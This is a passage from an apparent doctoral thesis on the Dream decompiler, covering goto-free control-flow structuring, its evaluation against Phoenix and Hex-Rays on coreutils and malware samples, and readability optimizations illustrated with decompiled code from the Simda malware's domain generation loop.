Figure 3.16: The five basic structures which cause unstructured flow diagrams.

3.6 goto-Free Output

In this section, we show that our algorithm produces goto-free output. Willians et al. has

shown that there exist five basic structures that lead to unstructured flow diagrams [93]. Here,

unstructured flow diagrams are defined as those that cannot be decomposed in terms of three

patterns: sequence, selection (i.e., if-then-else), and repetition (i.e., do-while). These

structures are shown in Figure 3.16. He also shows that given transformations that convert each of

these five structures to structured form, then any flow diagram can be transformed to a structured flow

diagram. Here, we show that our algorithm produces structured control flow for all of these

five diagrams and thus produces goto-free code.
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(b) Resulting code

Figure 3.17: Structured form of overlapping loops shown in Figure 3.16d. In this case, the
condition that causes control flow to exit the loop through edge (c1, n1) is cs = c1.

• Abnormal selection path (Figure 3.16a). This corresponds to the region R2 in our running

example (Figure 3.5). Our algorithm produces structured code for this region as shown

in Figure 3.6.

• Loop with multiple exit points (Figure 3.16b). The transformations presented in Section 3.5.2

transform these loops into a structured form.

• Loop with multiple entry points (Figure 3.16c). The transformations presented in Sec-

tion 3.5.1 transform these loops into a structured form.

• Overlapping loops (Figure 3.16d). This can be reduced to the case of multi-exit loop. The

loop headed at n2 is a multi-exit loop and the loop headed at n1 is a multi-entry loops.

Our algorithm will start by structuring the inner loop (headed at n2). The multi-exit loop

transformation results in the structure shown in Figure 3.17a. Here, we have two nested

loops with the red edge represented as a break statements. For this transformed CFG,

our algorithm produces the decompiled code is shown in Figure 3.17b.

• Parallel loops (Figure 3.16e). With a single header node (n1), parallel loops are special

case of multi-exit loop and can thus be transformed into a structured form as shown in

Section 3.5.2.
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Since our algorithm produces structured code for all the five structures that cause unstruc-

turedness, it thus can produce goto-free code.

Summary. At this point we transformed the CFG to an AST containing only high-level control

constructs and no goto statements. The next section presents the evaluation of our approach.

3.7 Evaluation

In this section, we describe the results of the experiments we have performed to evaluate

Dream. We base our evaluation on the technique used to evaluate Phoenix by Schwartz et

al. [76]. This evaluation used the GNU coreutils to evaluate the quality of the decompi-

lation results. We compared our results with Phoenix [76] and Hex-Rays [47]. We included

Hex-Rays because it is the leading commercial decompiler and the de facto industry standard.

We tested the latest version of Hex-Rays at the time of writing, which is v2.0.0.140605. We

picked Phoenix because it is the most recent and advanced academic decompiler. We did not

include dcc [24], DISC [56], REC [71], and Boomerang [39] in our evaluation. The reason is that

these projects are either no longer actively maintained (e.g., Boomerang) or do not support

x86 (e.g., dcc). However, most importantly, they are outperformed by Phoenix. The imple-

mentation of Phoenix is not publicly available yet. However, the authors kindly agreed to

share both the coreutils binaries used in their experiments and the raw decompiled source

code produced by Phoenix to enable us to compute our metrics and compare our results with

theirs. We very much appreciate this good scientific practice. This way, we could ensure that

all three decompilers are tested on the same binary code base. We also had the raw source

code produced by all three decompilers as well, so we can compare them fairly. In addition to

the GNU coreutils benchmark we also evaluated our approach using real-world malware

samples. Specifically, we decompiled and analyzed ZeusP2P, SpyEye, Cridex. For this part

of our evaluation we could only compare our approach to Hex-Rays since Phoenix is not yet

released.

3.7.1 Metrics

We evaluate our approach with respect to the following quantitative metrics.
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• Correctness. Correctness measures the functional equivalence between the decompiled

output and the input code. More specifically, two functions are semantically equivalent

if they follow the same behavior and produce the same results when they are executed

using the same set of parameters. Correctness is a crucial criterion to ensure that the

decompiled output is a faithful representation of the corresponding binary code. Here,

we focus on testing the correctness of our control-flow structuring algorithm.

• Structuredness. Structuredness measures the ability of a decompiler to recover high-

level control flow structure and produce structured decompiled code. Structuredness is

measured by the number of generated goto statements in the output. Structured code

is easier to understand [37] and helps scale program analysis [62]. For this reason, it

is desired to have as few goto statements in the decompiled code as possible. These

statements indicate the failure to find a better representation of control flow.

• Compactness. For compactness we perform two measurements: first, we measure the

total lines of code generated by each decompiler. This gives a global picture on the

compactness of decompiled output. Second, we count for how many functions each

decompiler generated the fewest lines of code compared to the others. If multiple de-

compilers generate the same (minimal) number of lines of code, that is counted towards

the total of each of them.

These metrics can be measured automatically and can capture important code properties

that impact readability. Our experience suggests that structured and compact code tends to

be more readable and easier to understand than unstructured and lengthy code. However,

it is conceivable that in some cases less compact code or code with gotos may be easier to

understand. For this reason, we evaluate the our approach with a user study involving real-

world code samples (Chapter 5).

3.7.2 Experiment Setup & Results

To evaluate our algorithm on the mentioned metrics, we conducted two experiments.
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Correctness Experiment

We evaluated the correctness of our algorithm on the GNU coreutils 8.22 suite of utilities.

coreutils consist of a collection of mature programs and come with a suite of high-coverage

tests. We followed a similar approach to that proposed in [76] where the coreutils tests

were used to measure correctness. Also, since the coreutils source code contains goto

statements, this means that both parts of our algorithm are invoked; the pattern-independent

structuring part and the semantics-preserving transformations part.

The goal in this experiment is to evaluate the correctness of our control-flow structuring

algorithm independently from the other decompilation steps. That is, if we start from a correct

CFG of the program, the goal is to check if our approach may produce incorrect code. For

this, we computed the CFG for each function in the coreutils source code and provided

it as input to the algorithm. Then, we replaced the original functions with the algorithm

output, compiled the restructured coreutils source code, and finally executed the tests.

Using the CFGs constructed from the source code enables us to isolate the source of errors

and attribute any failure in the tests to our algorithm. Since the original source code passes

the tests, building the CFG from it and then passing them to our algorithm means that any

failure in the test must be caused by our approach. On the other hand, starting from binary

code means that there can be errors caused by other decompilation phases, e.g., type analysis

which lead to a test failure. Moreover, we would have less coverage since not all decompiled

functions will be recompilable due to errors in other decompilation phases. In the Phoenix

experiments, the authors attributed most correctness errors to the underlying type recovery

component they used, TIE [58].

We used joern [104] to compute the CFGs. Joern is a state-of-the-art platform for analysis

of C/C++ code. It generates code property graphs, a novel graph representation of code that

combines three classic code representations; ASTs, CFGs, and Program Dependence Graphs

(PDG). Code property graphs are stored in a Neo4J graph database. Moreover, a thin python

interface for joern and a set of useful utility traversals are provided to ease interfacing with the

graph database. We iterated over all parsed functions in the database and extracted the CFGs.

We then transformed statements in the CFG nodes into Dream’s intermediate representation.

The extracted graph representation was then provided to our structuring algorithm. Under the
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Considered Functions F |F| Number of gotos

Functions after preprocessor 1,738 219

Functions correctly parsed by joern 1,530 129

Functions passed tests after structuring 1,530 0

Table 3.2: Correctness results.

assumption of correct parsing, we can attribute the failure of any test on the restructured func-

tions to the structuring algorithm. We used the source files produced by the C-preprocessor.

We got the preprocessed files by passing the --save-temps to CFLAGS in the configure script.

The preprocessed source code contains 219 goto statements.

Correctness Results

Table 3.2 shows statistics about the functions included in our correctness experiments. The

preprocessed coreutils source code contains 1,738 functions. We encountered parsing errors

for 208 functions. These errors were mainly caused by issues in CFG construction, which lead

to erroneous CFGs. We reported these issues to the authors of joern and they will be fixed

in later releases. We excluded these functions from our tests. The 1,530 correctly parsed

functions were fed to our structuring algorithm. Next, we replaced the original functions in

coreutils by the structured code produced by our algorithm. The new version of the source

code passed all coreutils tests. This shows that our algorithm correctly recovered control-

flow abstractions from the input CFGs. More importantly, goto statements in the original

source code are transformed into semantically equivalent structured forms. In the future, we

plan to evaluate the correctness of our algorithm on the CFGs recovered from binary code once

advanced type inference approaches such as [64] have been implemented in our decompiler.

The original Phoenix evaluation shows that their control-flow structuring algorithm is cor-

rect. Thus, both tools correctly structure the input CFG.

Structuredness and Compactness Experiment

We tested and compared Dream to Phoenix and Hex-Rays. In this experiment we used the

same GNU coreutils 8.17 binaries used in Phoenix evaluation. Structuredness is measured
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Considered Functions F |F| Number of goto Statements Lines of Code Compact Functions

Dream Phoenix Hex-Rays Dream Phoenix Hex-Rays Dream Phoenix Hex-Rays

coreutils functions with duplicates

T1 : Fr
p ∩ Fr

h 8,676 0 40 47 93k 243k 120k 81.3% 0.3% 32.1%

T2 : Fd ∩ Fp ∩ Fh 10,983 0 4,505 3,166 196k 422k 264k 81% 0.2% 30.4%

coreutils functions without duplicates

T3 : Fr
p ∩ Fr

h 785 0 31 28 15k 30k 18k 74.9% 1.1% 36.2%

T4 : Fd ∩ Fp ∩ Fh 1,821 0 4,231 2,949 107k 164k 135k 75.2% 0.7% 31.3%

Malware Samples

ZeusP2P 1,021 0 N/A 1,571 42k N/A 53k 82.9% N/A 14.5%

SpyEye 442 0 N/A 446 24k N/A 28k 69.9% N/A 25.7%

Cridex 167 0 N/A 144 7k N/A 9k 84.8% N/A 12.3%

Table 3.3: Structuredness and compactness results. For the coreutils benchmark, we denote by Fx the set of functions decom-
piled by compiler x. Fr

x is the set of recompilable functions decompiled by compiler x. d represents Dream, p represents Phoenix,
and h represents Hex-Rays.
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by the number of goto statements in code. These statements indicate that the structuring algo-

rithm was unable to find a structured representation of the control flow. Therefore, structured-

ness is inversely proportional to the number of goto statements in the decompiled output. To

measure compactness, we followed a straightforward approach. We used David A. Wheeler’s

SLOCCount utility to measure the lines of code in each decompiled function. To ensure fair

comparison, the Phoenix evaluation only considered functions that were decompiled by both

Phoenix and Hex-Rays. We extend this principle to only consider functions that were decom-

piled by all the three decompilers. If this was not done, a decompiler that failed to decompile

functions would have an unfair advantage. Beyond that, we extend the evaluation performed

by [76] in several ways.

• Duplicate functions. In the original Phoenix evaluation all functions were considered, i.e.,

including duplicate functions. It is common to have duplicate functions as the result of

the same library function being statically linked to several binaries, i.e., its code is copied

into the binary. Depending on the duplicate functions this can skew the results. Thus,

we wrote a small IDAPython script that extracts the assembly listings of all functions

and then computed the SHA-512 hash for the resulting files. We found that of the 14,747

functions contained in the coreutils binaries, only 3,141 functions are unique, i.e.,

78.7% of the functions are duplicates. For better comparability, we report the results

both on the filtered and unfiltered function lists. However, for future comparisons we

would argue that filtering duplicate functions before comparison avoids skewing the

results based on the same code being included multiple times.

• Also in the original Phoenix evaluation only recompilable functions were considered in

the goto test. In the context of coreutils, this meant that only 39% of the unique

functions decompiled by Phoenix were considered in the goto experiment. We extend

these tests to consider the intersection of all functions produced by the decompilers, since

even non-recompilable functions are valuable and important to look at, especially for

malware and security analysis. For instance, the property graph approach [104] to find

vulnerabilities in source code does not assume that the input source code is compilable.

Also, understanding the functionality of a sample is the main goal of manual malware

analysis. Hence, the quality of all decompiled code is highly relevant and thus included
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in our evaluation. For completeness, we also present the results based on the functions

used in the original evaluation done by Schwartz et al.

Structuredness & Compactness Results

Table 3.3 summarizes the results of our second experiment. For the sake of completeness, we

report our results in two settings. First, we consider all functions without filtering duplicates

as was done in the original Phoenix evaluation. We report our results for the functions con-

sidered in the original Phoenix evaluation (i.e., only recompilable functions) (T1) and for the

intersection of all functions decompiled by the three decompilers (T2). In the second setting we

only consider unique functions and again report the results only for the functions used in the

original Phoenix study (T3) and for all functions (T4). In the table |F| denotes the number of

functions considered. The following three columns report on the metrics defined above. First,

the number of goto statements in the functions is presented. This is the main contribution

of our structuring algorithm. While both state-of-the-art decompilers produced thousands of

goto statements for the full list of functions, Dream produced none. We believe this is a

major step forward for decompilation. Next, we present total lines of code generated by each

decompiler in the four settings. Dream generated more compact code overall than Phoenix

and Hex-Rays. When considering all unique functions, Dream’s decompiled output consists

of 107k lines of code in comparison to 164k LoC in Phoenix output and 135k LoC produced

by Hex-Rays. Finally, the percentage of functions for which a given decompiler generated the

most compact function is depicted. In the most relevant test setting T4, Dream produced the

minimum lines of code for 75.2% of the functions. For 31.3% of the functions, Hex-Rays gen-

erated the most compact code. Phoenix achieved the best compactness in 0.7% of the cases.

Note that the three percentages exceed 100% due to the fact that multiple decompilers could

generate the same minimal number of lines of code. In a one on one comparison between

Dream and Phoenix, Dream scored 98.8% for the compactness of the decompiled functions.

In a one on one comparison with Hex-Rays, Dream produced more compact code for 72.7%

of decompiled functions.
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Malware Analysis

For our malware analysis, we picked three real-world samples from three malware families:

ZeusP2P, Cridex, and SpyEye. The results for decompiling those malware samples shown in

Table 3.3 are similarly clear. Dream produces goto-free and compact code. As can be seen in

the Zeus sample, Hex-Rays produces 1,571 goto statements. These statements make analyzing

these pieces of malware very time-consuming and difficult. While further studies are needed

to evaluate if compactness is always an advantage, the total elimination of goto statements

from the decompiled code is a major step forward and has already been of great benefit to us

in our work analyzing malware samples.

3.8 Related Work

There has been much work done in the field of decompilation and abstraction recovery from

binary code. In this section, we review related work and place Dream in the context of existing

approaches. We start by reviewing control-flow structuring algorithms. Next, we discuss work

in decompilation, binary code extraction and analysis. Finally, techniques to recover type

abstractions from binary code are discussed.

Control-flow structuring. There exist two main approaches used by modern decompilers

to recover control-flow structure from the CFG representation, namely interval analysis and

structural analysis. Originally, these techniques were developed to assist data flow analysis

in optimizing compilers. Interval analysis [2, 27] deconstructs the CFG into nested regions

called intervals. The nesting structure of these regions helps to speed up data-flow analysis.

Structural analysis [77] is a refined form of interval analysis that is developed to enable the

syntax-directed method of data-flow analysis designed for ASTs to be applicable on low-level

intermediate code. These algorithms are also used in the context of decompilation to recover

high-level control constructs from the CFG.

Prior work on control-flow structuring proposed several enhancement to vanilla structural

analysis. The goal is to recover more control structure and minimize the number of goto

statements in the decompiled code. Engel et. al. [40] extended structural analysis to handle

C-specific control statements. They proposed a Single Entry Single Successor (SESS) analysis



Control-Flow Structuring 57

as an extension to structural analysis to handle the case of statements that exist before break

and continue statements in the loop body.

These approaches share a common property; they rely on a predefined set of region pat-

terns to structure the CFG. For this reason, they cannot structure arbitrary graphs without

using goto statements. Our approach is fundamentally different in that it does not rely on

any patterns.

Another related line of research lies in the area of eliminating goto statements at the source

code level such as [41] and [94]. These approaches define transformations at the AST level to

replace goto statements by equivalent constructs. In some cases, several transformations are

necessary to remove a single goto statement. These approaches increase the code size and

miss opportunities to find more concise forms to represent the control-flow. Moreover, they

may insert unnecessary Boolean variables. For example, these approaches cannot find the

concise form found by Dream for region R3 in our running example. These algorithms do not

solve the control-flow structuring problem as defined in Section 3.2.2.

Decompilers. Cifuentes laid the foundations for modern decompilers. In her PhD thesis [24],

she presented several techniques to decompile binary code into a high-level language. These

techniques were implemented in dcc, a decompiler for Intel 80286/DOS to C. The structuring

algorithm in dcc [25] is based on interval analysis. She also presented four region patterns to

structure regions resulted from the short-circuit evaluation of compound conditional expres-

sions, e.g., x ∨ y.

Van Emmerik proposed to use the Static Single Assignment (SSA) form for decompilation

in his PhD thesis [39]. His work demonstrates the advantages of the SSA form for several data

flow components of decompilers, such as expression propagation, identifying function signa-

tures, and eliminating dead code. His approach is implemented in Boomerang, an open-source

decompiler. Boomerang’s structuring algorithm is based on parenthesis theory [81]. Although

faster than interval analysis, it recovers less structure.

Chang et. el. [22] demonstrated the possibility of applying source-level tools to assembly

code using decompilation. For this goal, they proposed a modular decompilation architecture.

Their architecture consists of a series of decompilers connected by intermediate languages. For

their applications, no control-flow structuring is performed.



58 Control-Flow Structuring

Hex-Rays is the de facto industry standard decompiler. It is built as plugin for the Interactive

Disassembler Pro (IDA). Hex-Rays is closed source, and thus little is known about its inner

workings. It uses structural analysis [47]. As noted by Schwartz et el. in [76], Hex-Rays seems

to use an improved version of vanilla structural analyses.

Yakdan et al. [101] employed interval analysis to recover control structure. The authors

also proposed node splitting to reduce the number of goto statements. Here, nodes are split

into several copies. While this reduces the amount of goto statements, it increases the size of

decompiled output.

Phoenix is the state-of-the-art academic decompiler [76]. It is built on top of the CMU

Binary Analysis Platform (BAP) [16]. BAP lifts sequential x86 assembly instructions into an

intermediate language called BIL. It also uses TIE [58] to recover types from binary code.

Phoenix enhances structural analysis by employing two techniques: first, iterative refinement

chooses an edge and represents it using a goto statement when the algorithm cannot make

further progress. This allows the algorithm to find more structure. Second, semantics-preserving

ensures correct control structure recovery. The authors proposed correctness as an important

metric to measure the performance of a decompiler.

The key property that all structuring algorithms presented above share is the reliance on

pattern matching, i.e, they use a predefined set of region schemas that are matched against

regions in the CFG. This is a key issue that prevents these algorithms from structuring arbitrary

CFGs. This leads to unstructured decompiled output with goto statements. Our algorithm

does not rely on such patterns and is therefore able to produce well-structured code without

a single goto statement.

Our focus in this thesis is on decompiling native code. The research community has also

explored approaches to decompile other types of code such Java bytecode [60, 61, 63]. De-

compiling managed code involves fundamentally different challenges. For example, bytecode

is usually more abstract than native code and contains more information such as data types.

However, recovering structured control flow is complicated by issues related to Java exceptions

and synchronized blocks [61].

Binary code extraction. Correctly extracting binary code is essential for correct decompilation.

Research in this field is indispensable for decompilation. Kruegel et al. presented a method
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[55] to disassemble x86 obfuscated code. Jakstab [53] is a static analysis framework for binaries

that follows the paradigm of iterative disassembly. That is, it interleaves multiple disassembly

rounds with data-flow analysis to achieve accurate and complete CFG extraction. Zeng et

el. presented trace-oriented programming (TOP) [107] to reconstruct program source code from

execution traces. The executed instructions are translated into a high-level program represen-

tation using C with templates and inlined assembly. TOP relies on dynamic analysis and is

therefore able to cope with obfuscated binaries. With the goal of achieving high coverage, an

offline combination component combines multiple runs of the binary. BitBlaze [83] is a binary

analysis platform. The CMU Binary Analysis Platform (BAP) [16] is successor to the binary

analysis techniques developed for Vine in the BitBlaze project.

Type recovery. Reconstructing type abstractions from binary code is important for decompi-

lation to produce correct and high-quality code. This includes both elementary and complex

types. Several prominent approaches have been developed in this field including Howard [82],

REWARDS [59], TIE [58], and [48]. Other work [45, 44, 34, 52] focused on C++ specific issues,

such as recovering C++ objects, reconstructing class hierarchy, and resolving indirect calls re-

sulting from virtual inheritance. Since our work focuses on the control flow structuring we do

not make a contribution to type recovery but we based our type recovery on TIE [58].

3.9 Summary

In this chapter we presented the first control-flow structuring algorithm that is capable of re-

covering all control structure and thus does not generate any goto statements. Our novel al-

gorithm combines two techniques: pattern-independent structuring and semantics-preserving

transformations. The key property of our approach is that it does not rely on any patterns

(region schemas). We implemented these techniques in our Dream decompiler and evaluated

the correctness of our control-flow structuring algorithm. We also evaluated our approach

against the de facto industry standard decompiler, Hex-Rays, and the state-of-the-art academic

decompiler, Phoenix. Our evaluation shows that Dream outperforms both decompilers; it

produced more compact code and recovered the control structure of all the functions in the

test without any goto statements. We also decompiled and analyzed a number of real-world

malware samples and compared the results to Hex-Rays. Again, Dream performed very well,
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producing goto-free and compact code compared to Hex-Rays, which had one goto for ev-

ery 32 lines of code. This represents a significant step forward for decompilation and malware

analysis. In future work, we will further examine the quality of the code produced by Dream

specifically concerning the compactness. Our experience based on the malware samples we

analyzed during the course of this work suggests that structured and more compact code is

better for human understanding. In the next sections, we present several techniques designed

to improve the readability of the decompiled code and evaluate our approach with a user

study.



4
Usability Optimizations

The work presented in this chapter is based on our paper published at the 37th IEEE

Symposium on Security and Privacy (S&P 2016) [100]. The chapter text is taken and

adapted from this paper. The authors’ contributions that are relevant to the contents of

this chapter are as follows:

• Khaled Yakdan designed and implemented the usability optimizations on top of

the Dream decompiler.

• Elmar Padilla provided valuable feedback on the usability optimizations.

• Matthew Smith provided valuable feedback on the usability optimizations.

Authors’ Contributions

The abstraction recovery techniques discussed in previous chapters recover high-level abstrac-

tions as produced the compiler. Developers strive to write readable code so that it can be

easily maintained. When compiled, compiler optimizations change the code structure into a

semantically-equivalent form that satisfy the specific optimization goal. Compiler optimiza-

tions are usually tailored towards producing more efficient code or compacter executables.

This can negatively impacts the code readability. For example, the compiler might change a

loop structure into a more efficient but less readable form. As a result, the readability of the

loop recovered by the decompiler is limited. This is a very important reason why state-of-the-

61
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art decompilers still produce very complex and unreadable code. This often forces security

experts and malware analysts to go back to analysing the assembler code.

In this chapter, we present several semantics-preserving code transformations to make the

decompiled code more readable, thus helping security experts analyzing binary code. The

main motivation driving the research presented in this chapter is assisting malware analysts

understand and combat malware, which is one of the most challenging yet important cases of

binary code analysis. A key idea behind our optimizations is that the high-level abstractions

recovered by previous decompilation steps (see Figure 2.1) can be leveraged to devise powerful

code simplifications. We have implemented our optimizations as extensions to Dream and call

the new version Dream
++.

4.1 Introduction

The analysis of malware is a fundamental problem in computer security. It provides the

necessary detailed understanding of the functionality and capabilities of malware, and thus

forms the basis for devising effective countermeasures and mitigation strategies. Created by

professional and highly skilled adversaries, modern malware is increasingly sophisticated and

complex. Advanced malware families such as Stuxnet [43], Uroburos [46], and Regin [86] are

examples of the level of sophistication and complexity of current malware. These malware

samples shows the extraordinary lengths malware authors go to to conceal their activities and

make the already tedious and time-consuming task of manual reverse engineering of malware

even more challenging and difficult.

Due to the inability of a program to identify non-trivial properties of another program,

the generic problem of automatic malware analysis is undecidable [72]. As a result of this

limitation, security research has focused on automatically analyzing specific types of func-

tionality, such as the identification of cryptographic functions [20], automatic protocol reverse

engineering [19, 95], and the detection of DGA-based malware [5]. As another result of this

limitation, security analysts often have to resort to manual reverse engineering for detailed and

thorough analysis of malware, a difficult and time-consuming process. As a remedy, security

researchers have started to explore approaches that assist analysts during analysis instead of

replacing them. The proposed methods accelerate the analysis process by correctly identifying
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functions in binaries [78, 7], reliably extracting binary code [107, 66, 55, 53, 12], deobfuscating

obfuscated executable code [29, 99], and recovering high-level abstractions from binary code

through decompilation [76, 103].

In this chapter, we argue that a human-centric approach can significantly improve the ef-

fectiveness of decompilers. To this end, we present several semantics-preserving code transfor-

mations to simplify the decompiled code. Improved readability makes the decompiled code

easier to understand and thus can accelerate manual reverse engineering of malware. The

key insight of our approach is that the abstractions recovered during previous decompilation

stages can be leveraged to devise powerful optimizations. The main intuition driving these

optimizations is that the decompiled code is easier to understand if it can be formed in a

way that is similar to what a human programmer would write. Based on this intuition, we de-

vise optimizations to simplify expressions and control-flow structure, remove redundancy, and

give meaningful names to variables based on how they are used in code. Also, we develop a

generic query and transformation engine that allows analysts to easily write code queries and

transformations. We have implemented our usability extensions on top of the state-of-the-art

academic decompiler Dream [103]. We call this extended version Dream
++.

4.2 Problem Statement & Overview

The focal point of this chapter is on improving the readability of decompiler created code

to accelerate the analysis of malware. Code readability is essential for humans to correctly

understand the functionality of code [17]. We conducted several informal interviews with

malware analysts to identify shortcomings of state-of-the-art decompilers that negatively im-

pact readability. We also conducted cognitive walkthroughs stepping through the process of

restructuring malware code produced by Hex-Rays and Dream to see what the problems of

these two decompilers are. A common reason of these issues is the fact that current decom-

pilers recover the program structure as produced by the compiler. In presence of compiler

optimizations, compilers change the program structure for more efficiency. These optimiza-

tions leverage low-level aspects of the underlying architecture to increase the efficiency of the

code, resulting in bad readability when this code is decompiled. We group the discovered

problems into three categories
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1. Complex expressions. State-of-the-art decompilers often produces overly complex expres-

sions. Such expressions are rarely found in source code written by humans and are thus

hard to understand. This includes

(a) Complex logic expressions. Logic expressions are used inside control constructs (e.g.,

if-then or while loops) to decide the next code to be executed. Complex logic

expressions makes it difficult to understand the checks performed in the code and

the decisions taken based on them.

(b) Number of variables. Decompiled code often contains too many variables. This com-

plicates analysis since one must keep track of a large number of variables. Although

decompilers apply a dead code elimination step, they still miss opportunities to re-

move redundant variables. In many scenarios, several variables can be merged into

a single variable while preserving the semantics of the code.

(c) Pointer expressions. Array access operations are usually recovered as dereference

expressions involving pointer arithmetic and cast operations. Moreover, accesses

to arrays allocated on the stack are recovered as expressions using the address-of

operator (e.g., *(&v + i)).

We present our approach to tackle these problems in Section 4.3.

2. Convoluted control flow. The readability of a program depends largely upon the simplicity

of its sequencing control [38]. Two issues often complicates the control flow structure

recovered by decompilers

(a) Duplicate/inlined code. Binary code often contains duplicate code blocks. This usually

results from macro expansion and function inlining during compilation. As a result,

analysts may end up analyzing the same code block several times.

(b) Complex loop structure. Control-flow structuring algorithms used by decompilers rec-

ognize loops by analyzing the control flow graph. For this reason, they recover the

structure produced by the compiler which is optimized for efficiency but not read-

ability. Stopping at this stage prevents decompilers from recovering more readable

forms of loops as those seen in the source code written by humans.
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We address these problems in Section 4.5. At the core of our optimization is our code

query and transformation framework which we describe in Section 4.4.

3. Lack of high-level semantics High-level semantics such as variable names are lost during

compilation and cannot be recovered by decompilers. For this reason, decompilers usu-

ally assign default names to variables. Also, some constants that have a special meaning

in a given context, e.g., used by an API function or as magic numbers for file types. In

Section 4.6, we describe several techniques to give variables and constants meaningful

names based on how they are used in the code.

As an example illustrating these problems, we consider the decompiled code of the domain

generation algorithm (DGA) of the Simda malware family produced by three decompilers:

Hex-Rays (Figure 4.1), Dream (Figure 4.2), and our improved Dream
++ (Figure 4.3). Here, we

only show the main loop where the domains are computed1. As shown in the snippets, code

produced by Hex-Rays and Dream is rather complex and hard to understand. In the code

produced by Hex-Rays, the loop variable i is never used inside the loop and the loop ends

with a break statement. Moreover, the recovered checks for the parity of the loop counter

involves complex low-level expressions (lines 26-30). Accessing the char arrays (v37 and

v30) uses pointer arithmetic, address-of operators, and dereference operators.

Dream produced a slightly more readable code but still has a number of issues. Here, the

recovered loop structure is not optimal and can be further simplified. Since the initial value of

v18 is zero, the condition of the if statement and the enclosed do-while loop are identical

at the first iteration. This opens up the possibility to transform the whole construct into a more

readable while loop.

Finally, the optimizations developed during the course of this chapter further reduce the

complexity of the code. As can be seen from Figure 4.3, the code contains a simple for with

a clear initialization step, condition, and increment step. With each loop iteration, a letter is

selected from two char arrays (v1 and v2) depending on the parity of the loop counter (i %

2 == 0) and the result is stored in the output array (v3).

Scope. Dream
++ is based on the Dream decompiler which uses IDA Pro [51] to extract a

disassembly and the control-flow graph from the binary. Arguably, the resulting disassembly

1The complete code can be found in Appendix A
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1 void *__cdecl sub_10006390(){

2 __int32 v13; // eax@14

3 int v14; // esi@15

4 unsigned int v15; // ecx@15

5 int v16; // edx@16

6 char *v17; // edi@18

7 bool v18; // zf@18

8 unsigned int v19; // edx@18

9 char v20; // dl@21

10 char v23; // [sp+0h] [bp-338h]@1

11 int v30; // [sp+30Ch] [bp-2Ch]@1

12 __int32 v36; // [sp+324h] [bp-14h]@14

13 int v37; // [sp+328h] [bp-10h]@1

14 int i; // [sp+330h] [bp-8h]@1

15 // [...]

16 v30 = *"qwrtpsdfghjklzxcvbnm";

17 v37 = *"eyuioa";

18 // [...]

19 v14 = 0;

20 v15 = 3;

21 if ( v13 > 0 )

22 {

23 v16 = 1 - &v23;

24 for ( i = 1 - &v23; ; v16 = i )

25 {

26 v17 = &v23 + v14;

27 v19 = (&v23 + v14 + v16) & 0x80000001;

28 v18 = v19 == 0;

29 if ( (v19 & 0x80000000) != 0 )

30 v18 = ((v19 - 1) | 0xFFFFFFFE) == -1;

31 v20 = v18 ? *(&v37 + dwSeed / v15 % 6) : *(&v30 + dwSeed / v15 % 0x14);

32 ++v14;

33 v15 += 2;

34 *v17 = v20;

35 if ( v14 >= v36 )

36 break;

37 }

38 }

39 // [...]

40 }

Figure 4.1: Excerpt from the decompiled code generated by Hex-Rays of the domain generation
algorithm of the Simda malware family. This example shows the main loop where the domain
names are generated. At a high level, letters are picked at random from two arrays. Choosing
the array from which to copy a letter is based on whether the loop counter is even or odd.
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1 LPVOID sub_10006390(){

2 int v1 = *"qwrtpsdfghjklzxcvbnm";

3 int v2 = *"eyuioa";

4 // [...]

5 int v18 = 0;

6 int v19 = 3;

7 if(num > 0){

8 do{

9 char * v20 = v18 + (&v3);

10 int v21 = v18 + 1;

11 int v22 = v21;

12 int v23 = v21 & 0x80000001L;

13 bool v24 = !v23;

14 if(v23 < 0)

15 v24 = !(((v23 - 1) | 0xfffffffeL) + 1);

16 char v25;

17 if(!v24)

18 v25 = *(((dwSeed / v19) % 20) + (&v1));

19 else

20 v25 = *(((dwSeed / v19) % 6) + (&v2));

21 v18++;

22 v19 += 2;

23 *v20 = v25;

24 }while(v18 < num);

25 }

26 // [...]

27 }

Figure 4.2: Decompiled code generated by Dream for the same sample as Figure 4.1.

is not perfect and can contain errors if the binary is deliberately obfuscated. For the scope of

this thesis, we assume that the assembly provided to the decompiler is correct. Should the

binary code be obfuscated, tools such as [55, 107, 12] can be used to extract the binary code.

Furthermore, recent approaches such as [29, 99] can be used to deobfuscate the binary code

before providing it as input to the decompiler.

A high-level overview of our approach is as follows. First, the binary file is decompiled us-

ing Dream. This stage decompiles each function and generates the corresponding control flow

graph (CFG) and the abstract syntax tree (AST). Each node in the AST represents a statement

or an expression in DREAM’s intermediate representation (IR). Our work starts here. We de-

velop three categories of semantics-preserving code transformations to simplify the code and
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1 LPVOID sub_10006390(){

2 char * v1 = "qwrtpsdfghjklzxcvbnm";

3 char * v2 = "eyuioa";

4 // [...]

5 int v13 = 3;

6 for(int i = 0; i < num; i++){

7 char v14 = i % 2 == 0 ? v1[(dwSeed / v13) % 20] : v2[(dwSeed / v13) % 6];

8 v13 += 2;

9 v3[i] = v14;

10 }

11 // [...]

12 }

Figure 4.3: Decompiled code generated by Dream
++ for the same sample in Figure 4.1.

increase readability. These categories are expression simplification, control-flow simplification

and semantics-aware naming. In the following sections, we discuss our optimizations in detail.

4.3 Expression Simplification

In this section, we present our optimizations to simplify expressions and remove redundancy

from decompiled code.

4.3.1 Congruence Analysis

Congruence analysis is our approach to remove redundant variables from the decompiled

code. The key idea is to identify variables that represent the same value and can be replaced

by a single representative variable while preserving semantics. We denote such variables as

congruent variables. Dream already performs several optimizations to remove redundancy such

as expression propagation and dead code elimination. However, there exist scenarios where

traditional dead code elimination algorithms cannot remove redundant code. A prominent

example is when compilers emit instructions to temporarily save some values that are later

restored for further use. Depending on the control structure, this may result in circular de-

pendency between the corresponding variables in the decompiler IR, preventing dead code

elimination from removing them. As an example illustrating these scenarios, we consider the

example shown in Figure 4.4a. In this example, lines 4 and 7 copy a value between variables x
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1 int foo(){

2 int x = bar();

3 int z = 10;

4 int y = x;

5 while(x < z){

6 z = qux();

7 x = y;

8 }

9 y = y + z

10 return y;

11 }

(a) Example code.

1 int foo(){

2 int v = bar();

3 int z = 10;

4 while(v < z){

5 z = qux();

6 }

7 v = v + z;

8 return v;

9 }

(b) Optimized code.

Figure 4.4: Congruence Analysis

and y. Also, replacing x and y by a single representative, e.g., variable v, does not change the

semantics of the program. Moreover, this replacement results in two trivial copy statements of

the form v = v (lines 4 and 7) that can be safely removed, resulting in the more compact and

readable code shown in Figure 4.4b.

This simple example gives insight into the different properties of code that play a role in

the characterization of variable congruence. In summary, the following aspects need to be

covered.

1) Same Types: Congruent variables have the same data types. This requirement is necessary

to avoid the changing semantics because of implicit type conversions. For example, the

transformation would not be semantics-preserving if y was of type short.

